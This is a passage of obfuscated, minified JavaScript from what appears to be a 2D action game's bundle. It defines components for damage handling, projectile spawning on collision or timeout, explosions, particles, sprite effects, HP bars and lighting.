=> { const _0xc5dd95 = _0x2d5327['allowedProjectiles'], _0x3e5962 = this['store']['get']('lastDamagingActor'), _0x2497f4 = _0x3e5962?.['getConfig'](), _0x4ce00c = _0x2497f4?.['projectileType']; if (_0xc5dd95 && !_0xc5dd95['includes'](_0x4ce00c)) return; const _0x7a2125 = _0x2d5327['dropAmount'] ?? 0x1; for (let _0x2feba7 = 0x0; _0x2feba7 < _0x7a2125; _0x2feba7++) { this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], 0x0, 0x1) <= _0x2d5327['dropChance'] && this['createSingleDrop'](_0x2d5327); } }); } ['createVelocityVector'](_0x46afb7) { return _0x46afb7 ? new _0x4fe286['Vector'](this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], -_0x46afb7, _0x46afb7), this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], -_0x46afb7, _0x46afb7)) : new _0x4fe286['Vector'](0x0, 0x0); } ['createChildren'](_0x1f6b65) { _0x1f6b65['forEach'](_0x4153dc => { this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], 0x0, 0x1) <= _0x4153dc['creationChance'] && this['createChild'](_0x4153dc); }); } ['createChild'](_0x2fc36d) { const _0x425f7 = this['store']['get']('renderPosition'), _0x4ddeb2 = { 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'world': this['config']['world'], 'gameContext': this['gameContext'], 'initialPosition': new _0x4fe286['Vector'](_0x425f7['x'] / _0x1fb2e4['PhysicsConfig']['TILE_SIZE'], _0x425f7['y'] / _0x1fb2e4['PhysicsConfig']['TILE_SIZE'] - 0x1), 'enemyConfig': this['gameContext']['getEnemyConfig'](_0x2fc36d['childName']), 'blocksNextWave': !0x1, 'enemyConfigPath': _0x2fc36d['childName'], 'initialState': 'WANDERING', 'initialVelocity': this['createVelocityVector'](_0x2fc36d['initialVelocity']), 'spawnInvulnerabilityDurationMS': _0x2fc36d['spawnInvulnerabilityDurationMS'] }, _0x2d2a6e = _0x3e7dae['GAMEPLAY_ACTOR_MAP']['enemy'](_0x4ddeb2); this['actor']['registerActor'](_0x2d2a6e); } } _0x34e6ac['DamageSideEffectController'] = _0x307097; }, 0x371: (_0x581935, _0xb0b005, _0x468ff6) => { 'use strict'; Object['defineProperty'](_0xb0b005, '__esModule', { 'value': !0x0 }), _0xb0b005['DamageSourceDamagingGroundController'] = void 0x0; const _0x4762a6 = _0x468ff6(0x1932), _0x53a477 = _0x468ff6(0x1520); class _0x501a48 extends _0x53a477['ComponentController']{ constructor(_0x2f626f) { super(_0x2f626f); } ['update'](_0x596a2d) { const _0x104dcf = this['store']['get']('sensorCollisionState'), _0x475786 = [_0x4762a6['ESensorName']['CENTER'], _0x4762a6['ESensorName']['GROUND_BOTTOM']]; for (const _0x1d0019 of _0x475786) _0x104dcf[_0x1d0019]?.['forEach'](_0x39dbd5 => { if (!_0x39dbd5) return; const _0x55a300 = _0x39dbd5['parent'](); if (!_0x55a300) return; const _0x414580 = _0x55a300['userData'], _0x19e9e7 = _0x414580['customInfo']; 'DAMAGE' === _0x19e9e7?.['type'] && (this['messageBus']['publish']('damage', { 'damageMultiplier': 0x1, 'damage': _0x414580['customInfo']['damage'], 'invulnerabilityAfterHitMS': _0x414580['customInfo']['invulnerabilityAfterHitMS'], 'damageOwnerActor': _0x414580['actor'], 'damagingActor': _0x414580['actor'], 'affectedTimeMS': 0x0 }), _0x19e9e7['teleportToLastValidAreaSensor'] && this['messageBus']['publish']('teleportToLastValidAreaSensor')); }); } ['init']() { this['gameMessageBus']['subscribe'](this, 'actorsCollide', _0x565d2f => this['handleCollisions'](_0x565d2f)); } ['handleCollisions'](_0x170ef8) { if (!this['isCollisionValid'](_0x170ef8)) return; const _0x5d09c5 = (_0x170ef8['actor1'] === this['actor'] ? _0x170ef8['collider2'] : _0x170ef8['collider1'])['parent']()['userData']; this['messageBus']['publish']('damage', { 'damageMultiplier': 0x1, 'damage': 0x1, 'invulnerabilityAfterHitMS': 0x1f4, 'damageOwnerActor': _0x5d09c5['actor'], 'damagingActor': _0x5d09c5['actor'], 'affectedTimeMS': 0x0 }); } ['isCollisionValid'](_0x464eb9) { if (this['store']['get']('destroyed')) return !0x1; if (!this['isRelevantCollision'](_0x464eb9)) return !0x1; const _0x265286 = _0x464eb9['actor1'] === this['actor'] ? _0x464eb9['collider2'] : _0x464eb9['collider1'], _0xcc7945 = _0x464eb9['actor1'] === this['actor'] ? _0x464eb9['collider1'] : _0x464eb9['collider2'], _0x84645 = _0x265286['parent']()?.['userData']; if (_0xcc7945['isSensor']()) return !0x1; return 'DAMAGE' === _0x84645['customInfo']['type']; } ['isRelevantCollision'](_0x15e25c) { return _0x15e25c['actor1'] === this['actor'] || _0x15e25c['actor2'] === this['actor']; } } _0xb0b005['DamageSourceDamagingGroundController'] = _0x501a48; }, 0x1797: (_0x41c965, _0x53b80f, _0x58f3f7) => { 'use strict'; Object['defineProperty'](_0x53b80f, '__esModule', { 'value': !0x0 }), _0x53b80f['DamageSourceProjectileController'] = void 0x0; const _0x43e156 = _0x58f3f7(0x1520), _0x5e5930 = _0x58f3f7(0x1be6), _0x3c5b40 = _0x58f3f7(0x1832); class _0x4a8dd5 extends _0x43e156['ComponentController']{ constructor(_0x28ad1d) { super(_0x28ad1d); } ['init']() { this['gameMessageBus']['subscribe'](this, 'actorsCollide', _0x47b5c5 => this['handleCollisions'](_0x47b5c5)); } ['handleCollisions'](_0x13c5d7) { if (!this['isCollisionValid'](_0x13c5d7)) return; const _0x3211cf = _0x13c5d7['actor1'] === this['actor'] ? _0x13c5d7['actor2'] : _0x13c5d7['actor1'], _0x16ae43 = _0x3211cf['getConfig'](), _0xaba897 = _0x16ae43['ownerActor']; if (_0xaba897 && _0xaba897 === this['actor']) return; const _0x45d722 = this['actor']['getTags']()['includes'](_0x3c5b40['EActorTag']['ENEMY']) ? _0x16ae43['projectileConfig']['enemyDamageMultiplier'] ?? 0x1 : 0x1, _0x1f8f40 = _0x16ae43['damageMultiplier'] * _0x45d722; this['messageBus']['publish']('damage', { 'damageMultiplier': _0x1f8f40, 'damage': _0x16ae43['projectileConfig']['damage'] ?? 0x0, 'invulnerabilityAfterHitMS': _0x16ae43['projectileConfig']['invulnerabilityAfterHitMS'] ?? 0x0, 'damageOwnerActor': _0xaba897, 'damagingActor': _0x3211cf, 'affectedTimeMS': _0x16ae43['projectileConfig']['affectedTimeMS'] ?? 0x0 }), this['messageBus']['publish']('stun', { 'damageMultiplier': _0x1f8f40, 'stunDurationMS': _0x16ae43['projectileConfig']['stunDurationMS'] || 0x0, 'stunningActor': _0x3211cf, 'stunnerOwnerActor': _0xaba897, 'affectedTimeMS': _0x16ae43['projectileConfig']['affectedTimeMS'] ?? 0x0 }); } ['isCollisionValid'](_0x39a892) { if (this['store']['get']('destroyed')) return !0x1; if (!this['isRelevantCollision'](_0x39a892)) return !0x1; const _0x11b61d = _0x39a892['actor1'] === this['actor'] ? _0x39a892['actor2'] : _0x39a892['actor1'], _0x544cf3 = _0x11b61d['getConfig']()['projectileConfig'], _0xa0ea09 = this['actor']; return !!_0x544cf3 && !(_0x544cf3['performGroundCheck'] && !(0x0, _0x5e5930['succeedsGroundCheck'])(_0x39a892, _0x11b61d, _0xa0ea09, this['config']['world'])); } ['isRelevantCollision'](_0x151178) { return _0x151178['actor1'] === this['actor'] || _0x151178['actor2'] === this['actor']; } } _0x53b80f['DamageSourceProjectileController'] = _0x4a8dd5; }, 0x19e9: (_0x2a3689, _0x485226, _0x5a87d8) => { 'use strict'; Object['defineProperty'](_0x485226, '__esModule', { 'value': !0x0 }), _0x485226['DamageUiBarController'] = void 0x0; const _0x2ba6fb = _0x5a87d8(0x1520); class _0x5593e5 extends _0x2ba6fb['ComponentController']{ ['postInit']() { this['component']['setValue'](this['store']['get']('hp')), this['store']['subscribe']('hp', ({ oldValue: _0x2bd931, newValue: _0x367b5e }) => this['component']['setValue'](_0x367b5e)); } } _0x485226['DamageUiBarController'] = _0x5593e5; }, 0x1907: (_0xa5e053, _0x400715, _0x11511f) => { 'use strict'; Object['defineProperty'](_0x400715, '__esModule', { 'value': !0x0 }), _0x400715['OnCollisionDestroyComponent'] = void 0x0; const _0x3b22ec = _0x11511f(0x18e5), _0x21287a = _0x11511f(0x2414), _0x1c7940 = _0x11511f(0x1be6), _0x1dfd08 = _0x11511f(0x2347), _0x14018b = _0x11511f(0x221b), _0x44e334 = _0x11511f(0x2f5), _0x549be6 = _0x11511f(0x1832), _0x3a5176 = _0x11511f(0x1b39); class _0x595460 extends _0x21287a['ActorComponent']{ ['getRandomElementExceptLast']; constructor(_0xcc5852) { super(_0xcc5852); } ['init']() { this['getRandomElementExceptLast'] = this['gameContext']['rngProvider']['createRandomElementSelector'](), this['gameMessageBus']['subscribe'](this, 'actorsCollide', _0x32f3fc => { if (!this['isRelevantCollision'](_0x32f3fc)) return; const _0x1c734c = this['getOtherCollider'](_0x32f3fc); Object['keys'](this['config']['behaviorPerGroup'])['forEach'](_0xc96f62 => { const _0x21d537 = parseInt(_0xc96f62); if (!this['isInGroup'](_0x1c734c, _0x21d537)) return; const _0x2c3b6e = this['config']['behaviorPerGroup'][_0x21d537]; this['handleBehavior'](_0x2c3b6e, _0x32f3fc); }); }); } ['isRelevantCollision'](_0x396743) { return _0x396743['actor1'] === this['actor'] || _0x396743['actor2'] === this['actor']; } ['getOtherCollider'](_0x59cd1f) { return _0x59cd1f['actor1'] === this['actor'] ? _0x59cd1f['collider2'] : _0x59cd1f['collider1']; } ['handleBehavior'](_0x29da54, _0x344c3f) { const { contactPoints: _0x266944 } = _0x344c3f; let _0x257e74; _0x257e74 = 0x2 === _0x266944['length'] ? { 'x': (_0x266944[0x0]['x'] + _0x266944[0x1]['x']) / 0x2, 'y': (_0x266944[0x0]['y'] + _0x266944[0x1]['y']) / 0x2 } : 0x1 === _0x266944['length'] ? _0x266944[0x0] : this['store']['get']('physicsPosition'); const _0x12ec61 = (0x0, _0x1dfd08['physicsVector2RenderVector'])(this['config']['forcedPositionFunction'] ? this['config']['forcedPositionFunction'](this['store']) : _0x257e74), _0x709d51 = _0x344c3f['actor1'] === this['actor'] ? _0x344c3f['actor2'] : _0x344c3f['actor1'], _0x5b592c = this['isActorAProjectile'](_0x709d51), _0x4ee12c = this['isActorAProjectile'](this['actor']); if (_0x5b592c && _0x4ee12c) { const _0x2648f0 = this['actor']['getConfig']()['projectileConfig'], _0xaca05d = _0x709d51['getConfig']()['projectileConfig'], _0x56040d = _0xaca05d?.['affectsProjectilesOnHit'], _0x19224d = _0x2648f0?.['affectedByProjectilesOnHit'], _0x3bdc90 = _0xaca05d?.['canChangeOwnerOfOtherProjectilesOnHit'], _0x18a6b0 = _0x2648f0?.['changeIntoOnProjectileHit']; if (_0x3bdc90 && _0x18a6b0 || !_0x56040d || !_0x19224d) return; } const _0x39ec9e = this['config']['performGroundCheck'] && !(0x0, _0x1c7940['succeedsGroundCheck'])(_0x344c3f, this['actor'], _0x709d51, this['config']['world']); (_0x29da54['explosionName'] && !_0x39ec9e && this['triggerExplosion'](_0x29da54['explosionName'], _0x12ec61), _0x29da54['particleConfig']) && (Array['isArray'](_0x29da54['particleConfig']) ? _0x29da54['particleConfig'] : [_0x29da54['particleConfig']])['forEach'](_0x1589af => { this['requestParticles'](_0x1589af, _0x344c3f, _0x12ec61); }), _0x29da54['projectiles'] && this['createProjectiles'](_0x29da54['projectiles'], _0x344c3f), _0x29da54['sound'] && !_0x39ec9e && this['gameMessageBus']['publish']('requestSound', { 'config': { ..._0x29da54['sound'], 'position': _0x12ec61 } }), _0x29da54['destroy'] && this['actor']['destroy'](), _0x29da54['onCollisionFunction'] && _0x29da54['onCollisionFunction'](_0x344c3f); } ['triggerExplosion'](_0xc1192, _0x20b82c) { const _0x4f550b = this['getRandomElementExceptLast'](_0x14018b['EProviderContext']['MAIN'], _0xc1192), _0x55266d = this['getExplosionConfig'](_0x4f550b)['randomDirection'] ?? !0x1 ? this['gameContext']['rngProvider']['getRandomFloat'](_0x14018b['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']) : this['store']['get']('lookDirection'); this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': _0x4f550b, 'position': _0x20b82c, 'rotation': _0x55266d }); } ['requestParticles'](_0x311515, _0x5a12b4, _0x359fc9) { const _0x3a9c96 = this['getOwnVelocity'](_0x5a12b4), _0x563315 = _0x311515['particleConfig'], _0x49326f = _0x311515['particleConfig']?.['ownVelocityRetainMultiplier'] ?? 0x0, _0x39dc93 = { ..._0x311515, 'particleConfig': { ..._0x563315, 'velocityX': { 'min': (_0x563315?.['velocityX']?.['min'] ?? 0x0) + _0x3a9c96['x'] * _0x49326f, 'max': (_0x563315?.['velocityX']?.['max'] ?? 0x0) + _0x3a9c96['x'] * _0x49326f }, 'velocityY': { 'min': (_0x563315?.['velocityY']?.['min'] ?? 0x0) + _0x3a9c96['y'] * _0x49326f, 'max': (_0x563315?.['velocityY']?.['max'] ?? 0x0) + _0x3a9c96['y'] * _0x49326f } } }; this['gameMessageBus']['publish']('requestParticles', { ..._0x39dc93, ..._0x359fc9 }); } ['isInGroup'](_0x4100c6, _0x208605) { return !(0x0 == (_0x208605 << 0x10 & _0x4100c6['collisionGroups']())); } ['getOwnVelocity'](_0x56b525) { const { actor1: _0x2bb242, actor2: _0x3bc010, collider1: _0x59b680, collider2: _0xcdd96c } = _0x56b525; if (!(_0x2bb242 === this['actor'] ? _0x59b680 : _0xcdd96c)['parent']()) return { 'x': 0x0, 'y': 0x0 }; const _0x5bb335 = this['store']['get']('initialBodyVelocity'); return { 'x': _0x5bb335['x'], 'y': _0x5bb335['y'] }; } ['createProjectiles'](_0x13db9a, _0x39b02c) { _0x13db9a['forEach'](_0x42b98b => { for (let _0x3b176c = 0x0; _0x3b176c < (_0x42b98b['amount'] ?? 0x1); _0x3b176c++)this['config']['forcedPositionFunction'] ? this['createProjectileForcedPositionType'](_0x42b98b, this['config']['forcedPositionFunction'](this['store'])) : this['createProjectileStandardType'](_0x42b98b, _0x39b02c); }); } ['createProjectileStandardType'](_0x2ade2c, _0x53167c) { const _0x54e950 = this['createRandomPositionOffset'](_0x2ade2c), _0x2b5197 = _0x2ade2c['positionOffset'] ?? { 'x': 0x0, 'y': 0x0 }, _0x12f5d3 = (0x0, _0x3b22ec['add'])(this['store']['get']('physicsPosition'), _0x54e950), _0x28e5b2 = (0x0, _0x3b22ec['add'])(_0x12f5d3, _0x2b5197), _0x17fcd7 = _0x2ade2c['retainVelocity'] ? this['getOwnVelocity'](_0x53167c) : { 'x': 0x0, 'y': 0x0 }; this['createProjectile'](_0x2ade2c, _0x17fcd7, _0x28e5b2); } ['createRandomPositionOffset'](_0x5ddc48) { return _0x5ddc48['randomPositionOffset'] ? { 'x': this['gameContext']['rngProvider']['getRandomFloat'](_0x14018b['EProviderContext']['MAIN'], -_0x5ddc48['randomPositionOffset'], _0x5ddc48['randomPositionOffset']), 'y': this['gameContext']['rngProvider']['getRandomFloat'](_0x14018b['EProviderContext']['MAIN'], -_0x5ddc48['randomPositionOffset'], _0x5ddc48['randomPositionOffset']) } : { 'x': 0x0, 'y': 0x0 }; } ['createRandomDirectionOffset'](_0x2b46dd) { return _0x2b46dd['randomDirectionOffset'] ? this['gameContext']['rngProvider']['getRandomFloat'](_0x14018b['EProviderContext']['MAIN'], -_0x2b46dd['randomDirectionOffset'] / 0x2, _0x2b46dd['randomDirectionOffset'] / 0x2) : 0x0; } ['createProjectileForcedPositionType'](_0xb36eb7, _0x551fbe) { const _0x3ba73b = this['createRandomPositionOffset'](_0xb36eb7), _0xb8e9de = _0xb36eb7['positionOffset'] ?? { 'x': 0x0, 'y': 0x0 }, _0x46f3b2 = (0x0, _0x3b22ec['add'])(_0x551fbe, _0x3ba73b), _0x27dfe9 = (0x0, _0x3b22ec['add'])(_0x46f3b2, _0xb8e9de); this['createProjectile'](_0xb36eb7, { 'x': 0x0, 'y': 0x0 }, _0x27dfe9); } ['createProjectile'](_0x25cefe, _0x1a525d, _0x3e9166) { const _0x436622 = this['createRandomDirectionOffset'](_0x25cefe), _0x52509c = (_0x25cefe['retainDirection'] ? this['store']['get']('lookDirection') : 0x0) + (0x0, _0x3a5176['degToRad'])((_0x25cefe['directionOffset'] ?? 0x0) + _0x436622), _0x2df8da = { ...this['getProjectileConfig'](_0x25cefe['projectileType']) }, _0x5d8395 = _0x44e334['GAMEPLAY_ACTOR_MAP']['projectile']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': this['recoilCallback']['bind'](this), 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': this['actor']['getTags'](), 'projectileType': _0x25cefe['projectileType'], 'projectileConfig': _0x2df8da, 'projectileVelocity': _0x1a525d, 'damageMultiplier': 0x1, 'initialDirection': _0x52509c, 'initialPosition': _0x3e9166, 'ownerActor': this['actor'] }); this['actor']['registerActor'](_0x5d8395); } ['recoilCallback'](_0x50c6c4) { this['messageBus']['publish']('recoilOnHit', _0x50c6c4); } ['getProjectileConfig'](_0x83bd14) { return this['gameContext']['getProjectileConfig'](_0x83bd14); } ['getExplosionConfig'](_0x3ca207) { return this['gameContext']['getExplosionConfig'](_0x3ca207); } ['isActorAProjectile'](_0x335378) { return [_0x549be6['EActorTag']['PLAYER_PROJECTILE'], _0x549be6['EActorTag']['ENEMY_PROJECTILE']]['some'](_0x3e36f0 => _0x335378['getTags']()['includes'](_0x3e36f0)); } } _0x400715['OnCollisionDestroyComponent'] = _0x595460; }, 0x22a2: (_0x4e1909, _0x4b87f9, _0x301a9d) => { 'use strict'; Object['defineProperty'](_0x4b87f9, '__esModule', { 'value': !0x0 }), _0x4b87f9['TimeoutComponent'] = void 0x0; const _0x329176 = _0x301a9d(0x18e5), _0x3ff3db = _0x301a9d(0x2414), _0x590556 = _0x301a9d(0x221b), _0x23eac6 = _0x301a9d(0x2f5), _0x15b16a = _0x301a9d(0x1b39); class _0x511c85 extends _0x3ff3db['ActorComponent']{ ['getRandomElementExceptLast']; constructor(_0x4f7877) { super(_0x4f7877); } ['init']() { this['getRandomElementExceptLast'] = this['gameContext']['rngProvider']['createRandomElementSelector'](), this['gameContext']['timeProvider']['delayAction'](() => { const _0x596083 = this['store']['get']('renderPosition'); if (this['config']['explosionOnTimeout']) { if (!_0x596083) return; const _0xed172a = this['getRandomElementExceptLast'](_0x590556['EProviderContext']['MAIN'], this['config']['explosionOnTimeout']); this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': _0xed172a, 'position': new _0x329176['Vector'](_0x596083['x'], _0x596083['y']), 'rotation': this['gameContext']['rngProvider']['getRandomFloat'](_0x590556['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']) }); } this['config']['particlesOnTimeout'] && (Array['isArray'](this['config']['particlesOnTimeout']) ? this['config']['particlesOnTimeout'] : [this['config']['particlesOnTimeout']])['forEach'](_0xea25f9 => { this['gameMessageBus']['publish']('requestParticles', { ..._0xea25f9, ..._0x596083 }); }), this['config']['sound'] && this['gameMessageBus']['publish']('requestSound', { 'config': { ...this['config']['sound'], 'position': _0x596083 } }), this['actor'] && this['config']['projectilesOnTimeout'] && this['createProjectiles'](this['config']['projectilesOnTimeout']), this['actor']?.['destroy'](); }, this['config']['delayMS']); } ['createProjectiles'](_0x4b2d58) { _0x4b2d58['forEach'](_0x27bc72 => { for (let _0x1aa4f0 = 0x0; _0x1aa4f0 < (_0x27bc72['amount'] ?? 0x1); _0x1aa4f0++)this['createProjectile'](_0x27bc72); }); } ['createProjectile'](_0x279fb2) { const _0x491b7e = this['createRandomPositionOffset'](_0x279fb2), _0x34b945 = (0x0, _0x329176['add'])(this['store']['get']('physicsPosition'), _0x491b7e), _0x465cc5 = this['createRandomDirectionOffset'](_0x279fb2), _0x2ef2be = (_0x279fb2['retainDirection'] ? this['store']['get']('lookDirection') : 0x0) + (0x0, _0x15b16a['degToRad'])((_0x279fb2['directionOffset'] ?? 0x0) + _0x465cc5), _0x526d7f = _0x279fb2['retainVelocity'] ? this['getOwnVelocity']() : { 'x': 0x0, 'y': 0x0 }, _0x4bc5dd = { ...this['getProjectileConfig'](_0x279fb2['projectileType']) }; _0x4bc5dd['performGroundCheck'] = !0x1; const _0x542348 = _0x23eac6['GAMEPLAY_ACTOR_MAP']['projectile']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': this['recoilCallback']['bind'](this), 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': this['actor']['getTags'](), 'projectileType': _0x279fb2['projectileType'], 'projectileConfig': _0x4bc5dd, 'projectileVelocity': _0x526d7f, 'damageMultiplier': 0x1, 'initialDirection': _0x2ef2be, 'initialPosition': _0x34b945, 'ownerActor': this['actor'] }); this['actor']['registerActor'](_0x542348); } ['createRandomPositionOffset'](_0x232d86) { return _0x232d86['randomPositionOffset'] ? { 'x': this['gameContext']['rngProvider']['getRandomFloat'](_0x590556['EProviderContext']['MAIN'], -_0x232d86['randomPositionOffset'], _0x232d86['randomPositionOffset']), 'y': this['gameContext']['rngProvider']['getRandomFloat'](_0x590556['EProviderContext']['MAIN'], -_0x232d86['randomPositionOffset'], _0x232d86['randomPositionOffset']) } : { 'x': 0x0, 'y': 0x0 }; } ['createRandomDirectionOffset'](_0x3d3919) { return _0x3d3919['randomDirectionOffset'] ? this['gameContext']['rngProvider']['getRandomFloat'](_0x590556['EProviderContext']['MAIN'], -_0x3d3919['randomDirectionOffset'] / 0x2, _0x3d3919['randomDirectionOffset'] / 0x2) : 0x0; } ['recoilCallback'](_0x17b3e5) { this['messageBus']['publish']('recoilOnHit', _0x17b3e5); } ['getProjectileConfig'](_0x21309b) { return this['gameContext']['getProjectileConfig'](_0x21309b); } ['getOwnVelocity']() { return this['store']['get']('currentPerceivedSpeed'); } } _0x4b87f9['TimeoutComponent'] = _0x511c85; }, 0x276: (_0x5e1b53, _0x4c2706, _0x5b90d3) => { 'use strict'; Object['defineProperty'](_0x4c2706, '__esModule', { 'value': !0x0 }), _0x4c2706['EffectRenderComponent'] = void 0x0; const _0x38615e = _0x5b90d3(0x2414), _0x4aafcb = _0x5b90d3(0x9c1); class _0x3719c3 extends _0x38615e['ActorComponent']{ ['spriteSet'] = new Set(); constructor(_0x18da04) { super({ ..._0x18da04, 'isRenderComponent': !0x0 }); } ['createSpriteEffect'](_0x32562f) { const { sprite: _0x2c2d49, updatePosition: _0xd41ea5, updateRotation: _0x279015 } = (0x0, _0x4aafcb['createSpriteFromAnimationConfig'])({ 'animation': _0x32562f, 'scene': this['scene'], 'gameContext': this['gameContext'], 'initialRotation': _0x32562f['direction'] ?? this['store']['get']('lookDirection'), 'destroyCallback': () => this['deleteSprite'](_0x452efa), 'renderPositionFunction': _0x32562f['renderPositionFunction'] }), _0x452efa = { 'sprite': _0x2c2d49, 'updatePosition': _0xd41ea5, 'updateRotation': _0x279015, 'config': _0x32562f }; return this['spriteSet']['add'](_0x452efa), _0x452efa; } ['init']() { this['store']['subscribe']('renderPosition', _0x368b5e => { this['spriteSet']['forEach'](_0xcadc75 => { (_0xcadc75['config']['followActorPosition'] || isNaN(_0xcadc75['sprite']['x'])) && _0xcadc75['updatePosition'](_0x368b5e['newValue'], this['store']['get']('lookDirection')); }); }); } ['destroy']() { this['spriteSet']['forEach'](_0x22232b => { _0x22232b['sprite']['destroy'](); }), this['spriteSet']['clear'](); } ['deleteSprite'](_0x160902) { this['spriteSet']['has'](_0x160902) && (_0x160902['sprite']['destroy'](), this['spriteSet']['delete'](_0x160902)); } } _0x4c2706['EffectRenderComponent'] = _0x3719c3; }, 0x1b92: (_0x13ce59, _0xd730f6, _0x269ffd) => { 'use strict'; Object['defineProperty'](_0xd730f6, '__esModule', { 'value': !0x0 }), _0xd730f6['FlickerController'] = void 0x0; const _0x45f85b = _0x269ffd(0x1520), _0x41adca = _0x269ffd(0x221b); class _0x31364d extends _0x45f85b['ComponentController']{ ['update']() { this['component']['get']()['setAlpha'](this['gameContext']['rngProvider']['getRandomFloat'](_0x41adca['EProviderContext']['FRONTEND_ONLY'], 0.2, 0.4)); } } _0xd730f6['FlickerController'] = _0x31364d; }, 0x18c1: (_0x34c1ef, _0x56c431) => { 'use strict'; Object['defineProperty'](_0x56c431, '__esModule', { 'value': !0x0 }), _0x56c431['addLightToTint'] = _0x56c431['combineTints'] = _0x56c431['lightModel'] = void 0x0, _0x56c431['lightModel'] = { 'lightColor': 0x0 }, _0x56c431['combineTints'] = function (_0x4338da, _0xb3fdc7) { const _0x35cf1c = 0xff, _0x377884 = _0x35cf1c - ((0xff0000 & _0x4338da) >> 0x10), _0x15240b = _0x35cf1c - ((0xff00 & _0x4338da) >> 0x8), _0xd39d0b = _0x35cf1c - (0xff & _0x4338da), _0x552503 = _0x35cf1c - ((0xff0000 & _0xb3fdc7) >> 0x10), _0x32ee1e = _0x35cf1c - ((0xff00 & _0xb3fdc7) >> 0x8), _0x49ffe7 = _0x35cf1c - (0xff & _0xb3fdc7); return (_0x35cf1c - Math['min'](_0x377884 + _0x552503, _0x35cf1c) << 0x10) + (_0x35cf1c - Math['min'](_0x15240b + _0x32ee1e, _0x35cf1c) << 0x8) + (_0x35cf1c - Math['min'](_0xd39d0b + _0x49ffe7, _0x35cf1c)); }, _0x56c431['addLightToTint'] = function (_0xc7f59c, _0x4c4d79) { const _0x402d19 = 0xff; return (_0x402d19 - (_0x402d19 - ((0xff0000 & _0x4c4d79) >> 0x10)) * (_0x402d19 - ((0xff0000 & _0xc7f59c) >> 0x10)) / _0x402d19 << 0x10) + (_0x402d19 - (_0x402d19 - ((0xff00 & _0x4c4d79) >> 0x8)) * (_0x402d19 - ((0xff00 & _0xc7f59c) >> 0x8)) / _0x402d19 << 0x8) + (_0x402d19 - (_0x402d19 - (0xff & _0x4c4d79)) * (_0x402d19 - (0xff & _0xc7f59c)) / _0x402d19); }; }, 0x7bf: function (_0x40a840, _0x2be5d1, _0xa8f120) { 'use strict'; var _0x56cc4b = this && this['__createBinding'] || (Object['create'] ? function (_0x358aa7, _0x218635, _0x3a7457, _0x53aeaf) { void 0x0 === _0x53aeaf && (_0x53aeaf = _0x3a7457); var _0x344eef = Object['getOwnPropertyDescriptor'](_0x218635, _0x3a7457); _0x344eef && !('get' in _0x344eef ? !_0x218635['__esModule'] : _0x344eef['writable'] || _0x344eef['configurable']) || (_0x344eef = { 'enumerable': !0x0, 'get': function () { return _0x218635[_0x3a7457]; } }), Object['defineProperty'](_0x358aa7, _0x53aeaf, _0x344eef); } : function (_0x45d718, _0xdc1e4c, _0x11ef12, _0x3846f2) { void 0x0 === _0x3846f2 && (_0x3846f2 = _0x11ef12), _0x45d718[_0x3846f2] = _0xdc1e4c[_0x11ef12]; }), _0x3ae381 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x5f18f6, _0x428b9e) { Object['defineProperty'](_0x5f18f6, 'default', { 'enumerable': !0x0, 'value': _0x428b9e }); } : function (_0x544bfc, _0x3107c7) { _0x544bfc['default'] = _0x3107c7; }), _0x513f77 = this && this['__importStar'] || function (_0x4cc057) { if (_0x4cc057 && _0x4cc057['__esModule']) return _0x4cc057; var _0xa004d9 = {}; if (null != _0x4cc057) { for (var _0xf1c7b in _0x4cc057) 'default' !== _0xf1c7b && Object['prototype']['hasOwnProperty']['call'](_0x4cc057, _0xf1c7b) && _0x56cc4b(_0xa004d9, _0x4cc057, _0xf1c7b); } return _0x3ae381(_0xa004d9, _0x4cc057), _0xa004d9; }; Object['defineProperty'](_0x2be5d1, '__esModule', { 'value': !0x0 }), _0x2be5d1['LightRenderComponent'] = _0x2be5d1['TLightRenderComponentConfig'] = _0x2be5d1['TFlickerType'] = _0x2be5d1['EFlickerType'] = void 0x0; const _0x5b4e98 = _0xa8f120(0x2414), _0x1ffe7d = _0xa8f120(0x2347), _0x22560e = _0xa8f120(0x221b), _0x55fe79 = _0x513f77(_0xa8f120(0x22f3)); var _0x23d135; !function (_0x384f88) { _0x384f88['FLUORESCENT'] = 'FLUORESCENT', _0x384f88['FIRE'] = 'FIRE', _0x384f88['PULSE'] = 'PULSE'; }(_0x23d135 = _0x2be5d1['EFlickerType'] || (_0x2be5d1['EFlickerType'] = {})), _0x2be5d1['TFlickerType'] = _0x55fe79['union']([_0x55fe79['literal'](_0x23d135['FLUORESCENT']), _0x55fe79['literal'](_0x23d135['FIRE']), _0x55fe79['literal'](_0x23d135['PULSE'])]), _0x2be5d1['TLightRenderComponentConfig'] = _0x55fe79['intersection']([_0x55fe79['type']({ 'radius': _0x55fe79['number'], 'color': _0x55fe79['string'], 'intensity': _0x55fe79['number'] }), _0x55fe79['partial']({ 'offsetPosition': _0x55fe79['type']({ 'x': _0x55fe79['number'], 'y': _0x55fe79['number'] }), 'lightStability': _0x55fe79['number'], 'flickerType': _0x2be5d1['TFlickerType'], 'startsOn': _0x55fe79['boolean'], 'enablesOnSceneMessage': _0x55fe79['string'], 'disablesOnSceneMessage': _0x55fe79['string'], 'namedId': _0x55fe79['string'] })]); class _0x52d3e4 extends _0x5b4e98['ActorComponent']{ ['light'];['timeToBeginNextFlickerMS'] = 0x1f4;['timeToEndFlickerMS'] = 0x0;['fireFlickerTimer'] = 0x0;['fireFlickerInterval'] = 0.05;['flickerAmount'] = 0x0;['targetFlickerAmount'] = 0x0;['pulseTime'] = 0x0; constructor(_0x7314e6) { super({ ..._0x7314e6, 'isRenderComponent': !0x0 }); } ['init']() { 